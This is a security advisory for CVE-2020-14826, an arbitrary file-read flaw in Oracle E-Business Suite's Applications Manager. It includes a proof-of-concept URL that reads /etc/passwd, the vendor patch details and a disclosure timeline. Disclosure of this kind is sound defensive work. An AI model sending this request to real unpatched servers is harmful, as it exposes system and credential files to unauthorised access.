DESCRIPTION

Oracle E-Business Suite supports today’s evolving business models, drives productivity, and meets the demands of the modern mobile user.

More information at https://www.oracle.com/applications/ebusiness/.

SUMMARY

PRODUCT Oracle E-Business Suite
VENDOR Oracle
AFFECTED VERSIONS 12.2.5, 12.2.6
SEVERITY MEDIUM
IDENTIFIER CVE-2020-14826
TESTED PLATFORM Linux

IMPACT

Arbitrary File Reading under oracle's privileged.

DETAILS

Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite.

After login as SYSADMIN, attacker is able to read arbitrary files by accessing vulnerable endpoint

`http:///OA_HTML/weboam/oam/adconfig/adAppsCtxtFilesTable$target=$fnctNm=NODE*_CONFIG.EDIT*_PORTS$event=doFilter?event=viewFile&fileName=`

with `filename` is local file name which can be read under oracle's privileged.

PROOF OF CONCEPT

Download `/etc/passwd`by GET this url

  
`http:///OA_HTML/weboam/oam/adconfig/adAppsCtxtFilesTable$target=$fnctNm=NODE*_CONFIG.EDIT*_PORTS$event=doFilter?event=viewFile&fileName=/etc/passwd`

VENDOR STATUS

Oracle released critical patch update advisory - October 2020 https://www.oracle.com/security-alerts/cpuoct2020.html.

CREDIT

Thai Nguyen

DISCLOSURE TIMELINE

Date Sumary
20/03/2020 Vulnerability discovered
19/05/2020 ECQ sent the advisory to Oracle
19/05/2020 Oracle Security Alerts received report and will investigate
21/05/2020 Oracle Security Alerts confirmed issue and filed a security bug to track
16/08/2020 ECQ requested a status update and informed 90 days disclosure policy
19/08/2020 Oracle Security Alerts informed that they filed against the wrong product and scheduled to released patch on October 20, 2020
17/10/2020 Oracle Security Alerts assigned CVE and informed Critical Patch Update will be released on October 20, 2020
20/10/2020 Oracle released Critical Patch Update
17/05/2021 Advisory Published

APPENDIX

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REFERENCES

https://www.oracle.com/security-alerts/cpuoct2020.html